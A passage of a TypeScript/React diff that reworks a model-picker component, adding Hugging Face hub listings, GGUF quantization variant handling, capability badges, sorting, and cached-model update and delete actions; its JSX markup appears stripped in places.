focusFirstChildOption(optionKey: string): boolean { - const childList = document.getElementById(makeModelOptionChildrenId(optionKey)); + const childList = document.getElementById( + makeModelOptionChildrenId(optionKey), + ); const option = childList?.querySelector( "[data-model-picker-option]", ); @@ -240,31 +292,49 @@ function useRovingModelList({ function ListLabel({ children, icon, + action, collapsed, onToggle, + divider, }: { children: ReactNode; icon?: ReactNode; + action?: ReactNode; collapsed?: boolean; onToggle?: () => void; + /** Draw a divider line above, evenly spaced, to separate it from the section + * above (omit on the first section). */ + divider?: boolean; }) { return ( -
+
{icon} {children} - {onToggle && ( - + {(action || onToggle) && ( +
+ {action} + {onToggle && ( + + )} +
)}
); @@ -291,6 +361,29 @@ function formatBytes(bytes: number): string { return `${value.toFixed(value < 10 ? 1 : 0)} ${units[i]}`; } +// Small icon badges for what a model can do (vision / reasoning / audio). +// Vision and reasoning badges were dropped to keep rows uncluttered. +const CAPABILITY_BADGES = [ + { key: "audio" as const, icon: AudioWave01Icon, title: "Audio" }, +]; + +function CapabilityIcons({ caps }: { caps: ModelCapabilities }) { + return ( + <> + {CAPABILITY_BADGES.filter((b) => caps[b.key]).map((b) => ( + + + + ))} + + ); +} + function ModelRow({ label, meta, @@ -300,8 +393,14 @@ function ModelRow({ vramEst, gpuGb, tooltipText, + hubUrl, optionProps, onArrowDownIntoChildren, + capabilities, + hideOwner, + downloaded, + showVision, + className, }: { label: string; meta?: string | null; @@ -311,8 +410,21 @@ function ModelRow({ vramEst?: number; gpuGb?: number; tooltipText?: ReactNode; + /** Hugging Face address (e.g. "huggingface.co/owner/name") for online/Hub + * rows; surfaced on hover so their repo id / URL is discoverable the same + * way local rows show an on-disk path. Omit to show no address line. */ + hubUrl?: string; optionProps?: ModelRowOptionProps; onArrowDownIntoChildren?: () => boolean; + /** Capability override (HF rows have tags); falls back to name detection. */ + capabilities?: ModelCapabilities; + /** Hide the "owner/" prefix (e.g. Recommended, where all are unsloth). */ + hideOwner?: boolean; + /** Mark a row already on disk (shown in Recommended instead of being hidden). */ + downloaded?: boolean; + /** Show a Vision badge on the name (On Device, read from GGUF metadata). */ + showVision?: boolean; + className?: string; }) { const exceeds = vramStatus === "exceeds"; const showVramTooltip = @@ -326,6 +438,14 @@ function ModelRow({ : `~${vramEst}GB VRAM` : null; + const { owner, name } = splitRepoLabel(label); + const parsed = parseMetaTokens(meta); + // Param chip from meta, else derived from the name so GGUF rows show it too. + const paramLabel = parsed.param ?? extractParamLabel(name) ?? null; + // Use the passed-in capabilities (tag-aware) or infer from the repo name. + const caps = capabilities ?? detectCapabilities({ id: label }); + const showCaps = hasAnyCapability(caps); + const content = ( ); - if (vramTooltipText) { - return ( - - {content} - - {label} - {vramTooltipText} - - - ); - } + // Optional Hugging Face address line for online/Hub rows, rendered under + // whichever tooltip shows so the repo id / URL is always visible on hover. + const hubUrlLine = hubUrl ? ( + + {hubUrl} + + ) : null; - if (tooltipText) { + const tooltipBody = vramTooltipText ? ( + <> + {label} + {vramTooltipText} + {hubUrlLine} + + ) : tooltipText ? ( + <> + {tooltipText} + {hubUrlLine} + + ) : hubUrl ? ( + <> + {label} + {hubUrlLine} + + ) : null; + + if (tooltipBody) { return ( - + {content} - {tooltipText} + {tooltipBody} ); @@ -398,52 +595,138 @@ function ModelRow({ // ── GGUF Variant Expander ──────────────────────────────────── +function isValidGgufVariant(variant: unknown): variant is GgufVariantDetail { + if (!variant || typeof variant !== "object") return false; + const candidate = variant as Partial; + return ( + typeof candidate.filename === "string" && + candidate.filename.length > 0 && + typeof candidate.quant === "string" && + candidate.quant.length > 0 && + typeof candidate.size_bytes === "number" && + Number.isFinite(candidate.size_bytes) && + candidate.size_bytes >= 0 && + (candidate.downloaded === undefined || + typeof candidate.downloaded === "boolean") + ); +} + +function normalizeGgufVariantsResponse(res: { + variants?: unknown; + default_variant?: unknown; + has_vision?: unknown; + context_length?: unknown; +} | null | undefined): { + variants: GgufVariantDetail[]; + defaultVariant: string | null; + hasVision: boolean; + contextLength: number | null; +} { + const contextLength = res?.context_length; + return { + variants: (Array.isArray(res?.variants) ? res.variants : []).filter( + isValidGgufVariant, + ), + defaultVariant: + typeof res?.default_variant === "string" && res.default_variant.length > 0 + ? res.default_variant + : null, + hasVision: res?.has_vision === true, + contextLength: + typeof contextLength === "number" && + Number.isFinite(contextLength) && + contextLength >= 0 + ? contextLength + : null, + }; +} + +function ggufVariantExpectedBytes(variant: GgufVariantDetail): number { + const downloadBytes = variant.download_size_bytes; + return typeof downloadBytes === "number" && + Number.isFinite(downloadBytes) && + downloadBytes > 0 + ? downloadBytes + : variant.size_bytes; +} + function GgufVariantExpander({ repoId, onSelect, gpuGb, systemRamGb, + hfToken, parentOptionKey, onNavigatePastStart, onNavigatePastEnd, - onDeleteVariant, sourceOverride, - deleteVariantTitle = "Delete cached model?", - renderDeleteVariantDescription, - getDeleteVariantSuccessMessage, - deleteDisabled = false, + variantActions, + onDevice = false, + onHasVision, }: { repoId: string; onSelect: (id: string, meta: ModelSelectorChangeMeta) => void; gpuGb?: number; systemRamGb?: number; + /** HF token threaded into the variant fetch so private/gated repos resolve + * their GGUF variants (and update badges). */ + hfToken?: string; parentOptionKey?: string; onNavigatePastStart?: () => void; onNavigatePastEnd?: () => void; - onDeleteVariant?: (quant: string) => Promise | void; sourceOverride?: ModelSelectorChangeMeta["source"]; - deleteVariantTitle?: string; - renderDeleteVariantDescription?: (quant: string) => ReactNode; - getDeleteVariantSuccessMessage?: (quant: string) => string; - deleteDisabled?: boolean; + /** Update/delete actions for cached variant rows. Omitted by browse-only + * expanders (Recommended, etc.) that don't manage on-disk variants. */ + variantActions?: { + onUpdate?: (quant: string, expectedBytes: number) => Promise | void; + updateTitle?: string; + renderUpdateDescription?: (quant: string) => ReactNode; + getUpdateSuccessMessage?: (quant: string) => string; + updateDisabled?: boolean; + onDelete?: (quant: string) => Promise | void; + deleteTitle?: string; + renderDeleteDescription?: (quant: string) => ReactNode; + getDeleteSuccessMessage?: (quant: string) => string; + deleteDisabled?: boolean; + }; + /** On Device rows honor the Show all quantizations setting; Recommended and + * other browse lists always show every quant. */ + onDevice?: boolean; + /** Report GGUF vision support up so the parent row can badge it. */ + onHasVision?: (hasVision: boolean) => void; }) { + const onUpdateVariant = variantActions?.onUpdate; + const updateVariantTitle = variantActions?.updateTitle ?? "Update cached model?"; + const renderUpdateVariantDescription = variantActions?.renderUpdateDescription; + const updateDisabled = variantActions?.updateDisabled ?? false; + const onDeleteVariant = variantActions?.onDelete; + const deleteVariantTitle = variantActions?.deleteTitle ?? "Delete cached model?"; + const renderDeleteVariantDescription = variantActions?.renderDeleteDescription; + const getDeleteVariantSuccessMessage = variantActions?.getDeleteSuccessMessage; + const deleteDisabled = variantActions?.deleteDisabled ?? false; const [variants, setVariants] = useState(null); const [defaultVariant, setDefaultVariant] = useState(null); const [hasVision, setHasVision] = useState(false); + // Native max context (GGUF metadata); only set once a variant is downloaded. + const [nativeContext, setNativeContext] = useState(null); const [loading, setLoading] = useState(true); const [error, setError] = useState(null); + const [refreshKey, setRefreshKey] = useState(0); useEffect(() => { let canceled = false; setLoading(true); setError(null); - listGgufVariants(repoId) + listGgufVariants(repoId, hfToken) .then((res) => { if (canceled) return; - setVariants(res.variants); - setDefaultVariant(res.default_variant); - setHasVision(res.has_vision); + const normalized = normalizeGgufVariantsResponse(res); + setVariants(normalized.variants); + setDefaultVariant(normalized.defaultVariant); + setHasVision(normalized.hasVision); + onHasVision?.(normalized.hasVision); + setNativeContext(normalized.contextLength); }) .catch((err) => { if (canceled) return; @@ -458,7 +741,7 @@ function GgufVariantExpander({ return () => { canceled = true; }; - }, [repoId]); + }, [repoId, refreshKey, hfToken]); // Covers Unix absolute (/), Windows drive (C:\, D:/), UNC (\\server), relative (./, ../), tilde (~/) const isLocalPath = /^(\/|\.{1,2}[\\\/]|~[\\\/]|[A-Za-z]:[\\\/]|\\\\)/.test( @@ -467,15 +750,22 @@ function GgufVariantExpander({ const handleVariantClick = useCallback( (quant: string, downloaded?: boolean, sizeBytes?: number) => { + // Only seed the staged context for picks whose weights are already on + // disk. The staging effect short-circuits on a known contextLength + // (pendingHasContext) before starting the download, so attaching it to an + // undownloaded quant from a partially cached repo would skip the download + // entirely (and, with Load on selection, never load). + const isAvailable = isLocalPath || downloaded === true; onSelect(repoId, { source: sourceOverride ?? (isLocalPath ? "local" : "hub"), isLora: false, ggufVariant: quant, isDownloaded: isLocalPath ? true : downloaded, expectedBytes: sizeBytes, + contextLength: isAvailable ? nativeContext : undefined, }); }, - [repoId, isLocalPath, onSelect, sourceOverride], + [repoId, isLocalPath, onSelect, sourceOverride, nativeContext], ); // GGUF fit classification matching llama-server's _select_gpus logic: @@ -487,32 +777,43 @@ function GgufVariantExpander({ const getGgufFit = useCallback( (sizeBytes: number): "fits" | "tight" | "oom" => { - if (!gpuGb || gpuGb <= 0) return "fits"; + // No device budget at all (no GPU and no known system RAM): can't + // classify, so don't scare the user with OOM badges. + if (totalBudgetGb <= 0) return "fits"; const gb = sizeBytes / 1024 ** 3; if (gb <= 0 || gb <= gpuBudgetGb) return "fits"; + // No-GPU / unified-memory hosts (Mac) have only the RAM budget, so the + // tier collapses to fit-or-oom against system RAM rather than GPU+offload. + if (gpuBudgetGb <= 0) return gb <= totalBudgetGb ? "fits" : "oom"; if (gb <= totalBudgetGb) return "tight"; return "oom"; }, - [gpuGb, gpuBudgetGb, totalBudgetGb], + [gpuBudgetGb, totalBudgetGb], ); // If the recommended variant is OOM, pick the largest fitting one; // if all are OOM, recommend the smallest. const effectiveRecommended = useMemo(() => { - if (!variants || !gpuGb || gpuGb <= 0) return defaultVariant; + if (!variants || variants.length === 0 || totalBudgetGb <= 0) { + return defaultVariant; + } const defaultV = variants.find((v) => v.quant === defaultVariant); if (defaultV && getGgufFit(defaultV.size_bytes) !== "oom") return defaultVariant; // Largest non-OOM variant (best quality that fits) - const fitting = variants.filter((v) => getGgufFit(v.size_bytes) !== "oom"); + const fitting = variants.filter( + (v) => getGgufFit(v.size_bytes) !== "oom", + ); if (fitting.length > 0) { fitting.sort((a, b) => b.size_bytes - a.size_bytes); return fitting[0].quant; } // All OOM -- recommend smallest (most likely to partially run) - const sorted = [...variants].sort((a, b) => a.size_bytes - b.size_bytes); - return sorted[0].quant; - }, [variants, defaultVariant, gpuGb, getGgufFit]); + const sorted = [...variants].sort( + (a, b) => a.size_bytes - b.size_bytes, + ); + return sorted[0]?.quant ?? defaultVariant; + }, [variants, defaultVariant, totalBudgetGb, getGgufFit]); const sortedVariants = useMemo(() => { if (!variants) return variants; @@ -542,12 +843,24 @@ function GgufVariantExpander({ }); }, [variants, effectiveRecommended, getGgufFit]); + // On Device only: when Show all quantizations is off, list quants already on + // disk. Recommended and other browse lists always show every quant. + const showAllQuantizations = useChatRuntimeStore( + (s) => s.showAllQuantizations, + ); + const displayVariants = useMemo(() => { + if (!sortedVariants) return sortedVariants; + return showAllQuantizations || !onDevice + ? sortedVariants + : sortedVariants.filter((v) => v.downloaded); + }, [sortedVariants, showAllQuantizations, onDevice]); + const variantOptionKeys = useMemo( () => - (sortedVariants ?? []).map((variant) => + (displayVariants ?? []).map((variant) => makeModelOptionKey("gguf-variant", `${repoId}:${variant.filename}`), ), - [repoId, sortedVariants], + [repoId, displayVariants], ); const variantList = useRovingModelList({ label: `${repoId} quantizations`, @@ -569,7 +882,7 @@ function GgufVariantExpander({ return
{error}
; } - if (!sortedVariants || sortedVariants.length === 0) { + if (!displayVariants || displayVariants.length === 0) { return (
No GGUF variants found. @@ -587,18 +900,30 @@ function GgufVariantExpander({ } className="pl-4 border-l-2 border-accent/50 ml-3 my-1" > -
- - Quantizations - - {hasVision && ( - Vision - )} -
- {sortedVariants.map((v) => { + {/* On Device shows the model name above, so the Quantizations heading is + redundant; its Vision badge is relayed to the name instead. */} + {!onDevice && ( +
+ + Quantizations + + {hasVision && ( + + + Vision + + )} +
+ )} + {displayVariants.map((v) => { const fit = getGgufFit(v.size_bytes); const oom = fit === "oom"; const tight = fit === "tight"; + const expectedBytes = ggufVariantExpectedBytes(v); const keyBase = `${repoId}:${v.filename}`; const variantOptionKey = makeModelOptionKey("gguf-variant", keyBase); return ( @@ -607,18 +932,29 @@ function GgufVariantExpander({ type="button" {...variantList.getOptionProps(variantOptionKey, false)} onClick={() => - handleVariantClick(v.quant, v.downloaded, v.size_bytes) + handleVariantClick(v.quant, v.downloaded, expectedBytes) } className={cn( - "flex min-w-0 flex-1 items-center justify-between gap-2 rounded-full px-3 py-1 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/45 dark:hover:bg-[#3a3d44] dark:focus-visible:bg-[#3a3d44]", + "flex min-w-0 flex-1 items-center justify-between gap-2 rounded-full px-2 py-1 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/45 dark:hover:bg-[var(--sidebar-accent)] dark:focus-visible:bg-[var(--sidebar-accent)]", )} > - {v.quant} + + {v.quant} + {v.downloaded ? ( - - downloaded - + <> + + downloaded + + {v.update_available ? ( + + update available + + ): null} + ) : v.quant === effectiveRecommended ? ( recommended @@ -627,7 +963,7 @@ function GgufVariantExpander({ {oom && ( - + OOM )} @@ -641,6 +977,37 @@ function GgufVariantExpander({ + {v.downloaded && v.update_available && onUpdateVariant && ( + + This will update{" "} + + {repoId} ({v.quant}) + {"."} + + ) + } + repoId={repoId} + variant={v.quant} + buttonClassName="p-1" + iconClassName="size-3" + disabled={updateDisabled} + onConfirm={() => onUpdateVariant(v.quant, expectedBytes)} + onUpdated={() => setRefreshKey((key) => key + 1)} + /> + )} + {v.downloaded && ( + + )} {v.downloaded && onDeleteVariant && ( 0 || + _cachedModelsCache.length > 0 || + _lmStudioCache.length > 0 || + _localDirCache.length > 0 || + _customFolderCache.length > 0 + ); +} + /** Sort LM Studio models with unsloth publisher first. */ function sortLmStudio(models: LocalModelInfo[]): LocalModelInfo[] { return [...models].sort((a, b) => { @@ -711,22 +1092,235 @@ function canDeleteLoraModel(model: LoraModelOption): boolean { // ── Hub Model Picker ────────────────────────────────────────── +// Recommended section sort. "recommended" = newly created unsloth GGUF/MLX that +// fit the device; the rest are plain HF sort keys over all unsloth models. +type RecommendedSortKey = "recommended" | "trendingScore" | "lastModified"; + +const RECOMMENDED_SORT_OPTIONS: HubOption[] = [ + { value: "recommended", label: "Recommended" }, + { value: "trendingScore", label: "Trending" }, + { value: "lastModified", label: "Recent" }, +]; + +// Sort for the On Device / Custom (local) lists. "recent" = last loaded; +// "downloaded" = file download date. +type LocalSortKey = "recent" | "downloaded" | "size" | "name"; + +const LOCAL_SORT_OPTIONS: HubOption[] = [ + { value: "recent", label: "Recent" }, + { value: "size", label: "Size" }, + { value: "name", label: "Name" }, + { value: "downloaded", label: "Downloaded" }, +]; + +// Format filter dropdown for the Unsloth listing. Plain labels are reused in +// the empty-state copy below. +const FORMAT_FILTER_LABELS: Record = { + all: "All", + gguf: "GGUF", + mlx: "MLX", + safetensors: "Safetensors", +}; + +// Dot colors match the row format tags: gguf blue, mlx amber, safetensors pink. +const FORMAT_FILTER_DOTS: Partial> = { + gguf: "bg-format-gguf", + mlx: "bg-format-mlx", + safetensors: "bg-format-checkpoint", +}; + +const FORMAT_FILTER_OPTIONS: HubOption[] = ( + Object.keys(FORMAT_FILTER_LABELS) as FormatFilter[] +).map((value) => { + const dot = FORMAT_FILTER_DOTS[value]; + return { + value, + label: dot ? ( + + + {FORMAT_FILTER_LABELS[value]} + + ) : ( + FORMAT_FILTER_LABELS[value] + ), + }; +}); + +/** Sort cached repos: by last-loaded, download date, size desc, or name. */ +function sortCachedRepos< + T extends { repo_id: string; size_bytes: number; last_modified?: number }, +>(rows: T[], key: LocalSortKey, loadTimes: ModelLoadTimes): T[] { + const byDate = (a: T, b: T) => + (b.last_modified ?? -1) - (a.last_modified ?? -1) || + a.repo_id.localeCompare(b.repo_id); + return [...rows].sort((a, b) => { + if (key === "name") return a.repo_id.localeCompare(b.repo_id); + if (key === "size") { + return b.size_bytes - a.size_bytes || a.repo_id.localeCompare(b.repo_id); + } + if (key === "recent") { + const d = loadedAt(loadTimes, b.repo_id) - loadedAt(loadTimes, a.repo_id); + return d !== 0 ? d : byDate(a, b); + } + return byDate(a, b); // "downloaded" + }); +} + +/** Sort local-provider models. They carry no size, so "size" falls back to name. */ +function sortLocalModels( + rows: LocalModelInfo[], + key: LocalSortKey, + loadTimes: ModelLoadTimes, +): LocalModelInfo[] { + const name = (m: LocalModelInfo) => m.model_id ?? m.display_name ?? m.id; + const byDate = (a: LocalModelInfo, b: LocalModelInfo) => + (b.updated_at ?? -1) - (a.updated_at ?? -1) || + name(a).localeCompare(name(b)); + return [...rows].sort((a, b) => { + if (key === "recent") { + const d = loadedAt(loadTimes, a.id) - loadedAt(loadTimes, b.id); + return d !== 0 ? -d : byDate(a, b); + } + if (key === "downloaded") return byDate(a, b); + return name(a).localeCompare(name(b)); // "size" (no size) and "name" + }); +} + +/** GGUF detection for a local model by backend format hint, name, or file path. */ +function localModelIsGguf(m: LocalModelInfo): boolean { + return ( + m.model_format === "gguf" || + isGgufRepo(m.id) || + isGgufRepo(m.display_name) || + m.path.toLowerCase().endsWith(".gguf") + ); +} + +function localPathTooltip(name: string, path: string): ReactNode { + return ( + <> + {name} + + {path} + + + ); +} + +/** Hugging Face address for an online/Hub row, or undefined when the repo id is + * missing so the row shows no (empty) address line on hover. */ +function hubRepoUrl(id: string | null | undefined): string | undefined { + const trimmed = id?.trim(); + return trimmed ? `huggingface.co/${trimmed}` : undefined; +} + +/** Whether a local model is an MLX build (name hint). MLX runs on Mac only, so + * callers gate visibility on the host being a Mac. */ +function localModelIsMlx(m: LocalModelInfo): boolean { + return ( + isMlxId(m.id) || isMlxId(m.display_name) || isMlxId(m.model_id ?? "") + ); +} + +/** Whether a local model matches the format toggle (GGUF detected by name/path). */ +function localModelMatchesFormat( + m: LocalModelInfo, + filter: FormatFilter, +): boolean { + return matchesFormatFilter( + m.model_id ?? m.display_name ?? m.id, + localModelIsGguf(m), + filter, + ); +} + export function HubModelPicker({ models, + loraModels = [], + externalModels = [], value, onSelect, onFoldersChange, + onBrowseHub, + onModelsChange, + deleteDisabled = false, + section = "downloaded", + sectionToggle, + onEject, }: { models: ModelOption[]; + /** Fine-tuned models, shown as a section in the On Device view. */ + loraModels?: LoraModelOption[]; + /** Connected provider models, shown in the Connected section. */ + externalModels?: ExternalModelOption[]; value?: string; onSelect: (id: string, meta: ModelSelectorChangeMeta) => void; onFoldersChange?: () => void; + /** Open the full Hub page to browse more models. */ + onBrowseHub?: () => void; + onModelsChange?: (deletedModel?: DeletedModelRef) => void; + deleteDisabled?: boolean; + /** Section shown when not searching. Search spans all sections. */ + section?: "downloaded" | "recommended" | "custom" | "connected"; + /** Section toggle rendered under the search bar. */ + sectionToggle?: ReactNode; + /** Eject the loaded model. Rendered as the last list row when set. */ + onEject?: () => void; }) { const gpu = useGpuInfo(); + // Live model id from the runtime store (backend-mirrored active_model), not the dropdown + // highlight which can be a staged pick. Disables the update action for it. + const loadedModelId = useChatRuntimeStore((s) => s.params.checkpoint); + // Last-loaded timestamps power the "Recent" sort (vs "Downloaded" = file date). + const loadTimes = useModelLoadTimes(value); + // Fade the list's top edge once scrolled, and its bottom edge while more + // rows sit below the fold. + const [listScrolled, setListScrolled] = useState(false); + const [listMoreBelow, setListMoreBelow] = useState(false); + const hfToken = useHfTokenStore((s) => s.token); const [query, setQuery] = useState(""); const debouncedQuery = useDebouncedValue(query); - const { results, isLoading, isLoadingMore, fetchMore } = - useHfModelSearch(debouncedQuery); + // Shared Hub search stack (the same hooks the Hub page uses) so the picker + // and Hub run one implementation. Scoped to unsloth like the old listing. + const online = useOnlineStatus(); + const accessToken = hfToken || undefined; + // Recommended section: a live unsloth listing sorted by the dropdown. The + // same sort drives the search results so the dropdown works while searching. + const [recommendedSort, setRecommendedSort] = + useState("trendingScore"); + // "recommended" surfaces the most recently created Unsloth repos. + const recommendedSortBy: HfSortKey = + recommendedSort === "recommended" ? "createdAt" : recommendedSort; + const { + results, + isLoading, + isLoadingMore, + fetchMore, + scannedCount, + hasMore, + } = useHubModelSearch(debouncedQuery, { + ownerScope: "unsloth", + sortBy: recommendedSortBy, + sortDirection: "desc", + pinUnslothFirst: true, + keepUnsupportedTags: true, + accessToken, + // Only the Recommended section renders Hub results (On Device / Connected + // use local data), so keep the Hub hooks idle on the other tabs to avoid + // needless requests/spinner and to preserve offline-local behavior. + enabled: online && section === "recommended", + }); + const recommendedSearch = useHubModelSearch("", { + ownerScope: "unsloth", + sortBy: recommendedSortBy, + sortDirection: "desc", + pinUnslothFirst: true, + keepUnsupportedTags: true, + accessToken, + enabled: online && section === "recommended", + }); // Lowercased repo ids confirmed GGUF by the store or HF search. // Absence means "no hint" -> hasGgufSuffix is the fallback (don't @@ -739,13 +1333,15 @@ export function HubModelPicker({ } return ids; }, [models]); + // Both listings contribute GGUF hints so a tag-only GGUF (no "-GGUF" suffix) + // in Recommended still expands variants instead of loading as a checkpoint. const resultGgufIds = useMemo(() => { const ids = new Set(); - for (const result of results) { + for (const result of [...results, ...recommendedSearch.results]) { if (result.isGguf) ids.add(result.id.toLowerCase()); } return ids; - }, [results]); + }, [results, recommendedSearch.results]); const isKnownGgufRepo = useCallback( (id: string): boolean => { const key = id.toLowerCase(); @@ -756,10 +1352,100 @@ export function HubModelPicker({ // Track which GGUF repo is expanded for variant selection const [expandedGguf, setExpandedGguf] = useState(null); + // GGUF vision support per repo, reported by the expander once it has read the + // metadata, so On Device rows can show a Vision badge on the name. + const [visionByRepo, setVisionByRepo] = useState>({}); + const reportVision = useCallback((repoId: string, hasVision: boolean) => { + setVisionByRepo((prev) => + prev[repoId] === hasVision ? prev : { ...prev, [repoId]: hasVision }, + ); + }, []); + // When on, On Device GGUF repos show their quantizations without a click. + const expandQuantizations = useChatRuntimeStore((s) => s.expandQuantizations); + // Shared with the Hub page: list only models sized within the device budget. + const fitOnDeviceOnly = useChatRuntimeStore((s) => s.fitOnDeviceOnly); + const setFitOnDeviceOnly = useChatRuntimeStore((s) => s.setFitOnDeviceOnly); + // Repos the user clicked to collapse while expand-by-default is on. Kept in + // memory only, so it resets on reload (and when the setting is toggled). + const [collapsedGguf, setCollapsedGguf] = useState>( + () => new Set(), + ); + useEffect(() => { + setCollapsedGguf(new Set()); + }, [expandQuantizations]); + const isGgufExpanded = useCallback( + (id: string) => + expandQuantizations ? !collapsedGguf.has(id) : expandedGguf === id, + [expandQuantizations, collapsedGguf, expandedGguf], + ); + // Toggle a repo's quantizations: flip the collapse set when expand-by-default + // is on, otherwise drive the single-open expandedGguf state. + const toggleGgufExpanded = useCallback( + (id: string) => { + if (expandQuantizations) { + setCollapsedGguf((prev) => { + const next = new Set(prev); + if (next.has(id)) next.delete(id); + else next.add(id); + return next; + }); + } else { + setExpandedGguf((prev) => (prev === id ? null : id)); + } + }, + [expandQuantizations], + ); const [downloadedCollapsed, setDownloadedCollapsed] = useState(false); + const [otherModelsCollapsed, setOtherModelsCollapsed] = useState(false); const [customFoldersCollapsed, setCustomFoldersCollapsed] = useState(false); - const [recommendedCollapsed, setRecommendedCollapsed] = useState(false); + const [fineTunedCollapsed, setFineTunedCollapsed] = useState(false); + const [lmStudioCollapsed, setLmStudioCollapsed] = useState(false); + const [localDirCollapsed, setLocalDirCollapsed] = useState(false); + // The Fine-tuned section header; the train icon on the Unsloth header scrolls + // here so users can jump to their trained models. + const fineTunedSectionRef = useRef(null); + const scrollToFineTuned = useCallback(() => { + setFineTunedCollapsed(false); + // Two frames so the expand renders before we scroll the section to the top + // of the list. + requestAnimationFrame(() => { + requestAnimationFrame(() => { + fineTunedSectionRef.current?.scrollIntoView({ + behavior: "smooth", + block: "start", + }); + }); + }); + }, []); + // The Other models header; the directions icon on the Unsloth header scrolls + // here. + const otherModelsSectionRef = useRef(null); + const scrollToOtherModels = useCallback(() => { + setOtherModelsCollapsed(false); + requestAnimationFrame(() => { + requestAnimationFrame(() => { + otherModelsSectionRef.current?.scrollIntoView({ + behavior: "smooth", + block: "start", + }); + }); + }); + }, []); + // The Custom Folders header; the folder icon on the Unsloth header scrolls + // here instead of opening the browse popup. + const customFolderSectionRef = useRef(null); + const scrollToCustomFolders = useCallback(() => { + setCustomFoldersCollapsed(false); + requestAnimationFrame(() => { + requestAnimationFrame(() => { + customFolderSectionRef.current?.scrollIntoView({ + behavior: "smooth", + block: "start", + }); + }); + }); + }, []); // Cached (downloaded) repos -- module-level cache avoids flashing an // empty "Downloaded" section when the popover re-mounts. @@ -770,15 +1456,42 @@ export function HubModelPicker({ const alreadyCached = _cachedGgufCache.length > 0 || _cachedModelsCache.length > 0; const [cachedReady, setCachedReady] = useState(alreadyCached); + const [updateConflictKey, setUpdateConflictKey] = useState( + null, + ); + const updateTransportConflict = useDownloadManagerStore((state) => + updateConflictKey + ? (state.conflicts[updateConflictKey]?.info ?? null) + : null, + ); + const cancelUpdateConflict = useCallback(() => { + if (updateConflictKey) downloadManager.cancelConflict(updateConflictKey); + setUpdateConflictKey(null); + }, [updateConflictKey]); + const resumeUpdateConflict = useCallback(() => { + if (!updateConflictKey) return; + downloadManager.resumeConflict(updateConflictKey); + setUpdateConflictKey(null); + }, [updateConflictKey]); + const restartUpdateConflict = useCallback(() => { + if (!updateConflictKey) return; + downloadManager.restartConflict(updateConflictKey); + setUpdateConflictKey(null); + }, [updateConflictKey]); // LM Studio local models -- module-level cache, same pattern as above. const [lmStudioModels, setLmStudioModels] = useState(_lmStudioCache); + // Models found under the local models directory (./models), so they stay + // selectable on the On Device tab after leaving the Fine-tuned tab. + const [localDirModels, setLocalDirModels] = + useState(_localDirCache); const [customFolderModels, setCustomFolderModels] = useState(_customFolderCache); // Custom scan folders management - const [scanFolders, setScanFolders] = useState(_scanFoldersCache); + const [scanFolders, setScanFolders] = + useState(_scanFoldersCache); const [folderInput, setFolderInput] = useState(""); const [folderError, setFolderError] = useState(null); const [showFolderInput, setShowFolderInput] = useState(false); @@ -794,6 +1507,9 @@ export function HubModelPicker({ ); _lmStudioCache = lm; setLmStudioModels(lm); + const ld = res.models.filter((m) => m.source === "models_dir"); + _localDirCache = ld; + setLocalDirModels(ld); const cf = res.models.filter((m) => m.source === "custom"); _customFolderCache = cf; setCustomFolderModels(cf); @@ -810,58 +1526,72 @@ export function HubModelPicker({ .catch(() => {}); }, []); - const handleAddFolder = useCallback(async (overridePath?: string) => { - // Explicit path lets the folder browser submit in the same tick it - // calls `setFolderInput`; reading `folderInput` would race the update. - const raw = overridePath !== undefined ? overridePath : folderInput; - const trimmed = raw.trim(); - if (!trimmed || folderLoading) return; - setFolderError(null); - setFolderLoading(true); - // From the folder browser's one-click "Use this folder": the typed- - // input panel is closed, so the inline folderError is invisible. - // Surface failures (denylisted path, sandbox 403, etc.) via toast. - const fromBrowser = overridePath !== undefined; - try { - const created = await addScanFolder(trimmed); - // Backend returns the existing row for duplicates, so dedupe. - const next = _scanFoldersCache.some((f) => f.id === created.id || f.path === created.path) - ? _scanFoldersCache - : [..._scanFoldersCache, created]; - _scanFoldersCache = next; - setScanFolders(next); - setFolderInput(""); - setShowFolderInput(false); - refreshLocalModelsList(); - onFoldersChange?.(); - // Background reconciliation with the server - void refreshScanFolders(); - } catch (e) { - const message = e instanceof Error ? e.message : "Failed to add folder"; - setFolderError(message); - if (fromBrowser) { - toast.error("Couldn't add folder", { description: message }); + const handleAddFolder = useCallback( + async (overridePath?: string) => { + // Explicit path lets the folder browser submit in the same tick it + // calls `setFolderInput`; reading `folderInput` would race the update. + const raw = overridePath !== undefined ? overridePath : folderInput; + const trimmed = raw.trim(); + if (!trimmed || folderLoading) return; + setFolderError(null); + setFolderLoading(true); + // From the folder browser's one-click "Use this folder": the typed- + // input panel is closed, so the inline folderError is invisible. + // Surface failures (denylisted path, sandbox 403, etc.) via toast. + const fromBrowser = overridePath !== undefined; + try { + const created = await addScanFolder(trimmed); + // Backend returns the existing row for duplicates, so dedupe. + const next = _scanFoldersCache.some( + (f) => f.id === created.id || f.path === created.path, + ) + ? _scanFoldersCache + : [..._scanFoldersCache, created]; + _scanFoldersCache = next; + setScanFolders(next); + setFolderInput(""); + setShowFolderInput(false); + refreshLocalModelsList(); + onFoldersChange?.(); + // Background reconciliation with the server + void refreshScanFolders(); + } catch (e) { + const message = e instanceof Error ? e.message : "Failed to add folder"; + setFolderError(message); + if (fromBrowser) { + toast.error("Couldn't add folder", { description: message }); + } + } finally { + setFolderLoading(false); } - } finally { - setFolderLoading(false); - } - }, [folderInput, folderLoading, refreshScanFolders, refreshLocalModelsList, onFoldersChange]); + }, + [ + folderInput, + folderLoading, + refreshScanFolders, + refreshLocalModelsList, + onFoldersChange, + ], + ); - const handleRemoveFolder = useCallback(async (id: number) => { - try { - await removeScanFolder(id); - // Optimistic: drop it immediately. - const next = _scanFoldersCache.filter((f) => f.id !== id); - _scanFoldersCache = next; - setScanFolders(next); - refreshScanFolders(); - refreshLocalModelsList(); - onFoldersChange?.(); - } catch (e) { - toast.error(e instanceof Error ? e.message : "Failed to remove folder"); - refreshScanFolders(); - } - }, [refreshScanFolders, refreshLocalModelsList, onFoldersChange]); + const handleRemoveFolder = useCallback( + async (id: number) => { + try { + await removeScanFolder(id); + // Optimistic: drop it immediately. + const next = _scanFoldersCache.filter((f) => f.id !== id); + _scanFoldersCache = next; + setScanFolders(next); + refreshScanFolders(); + refreshLocalModelsList(); + onFoldersChange?.(); + } catch (e) { + toast.error(e instanceof Error ? e.message : "Failed to remove folder"); + 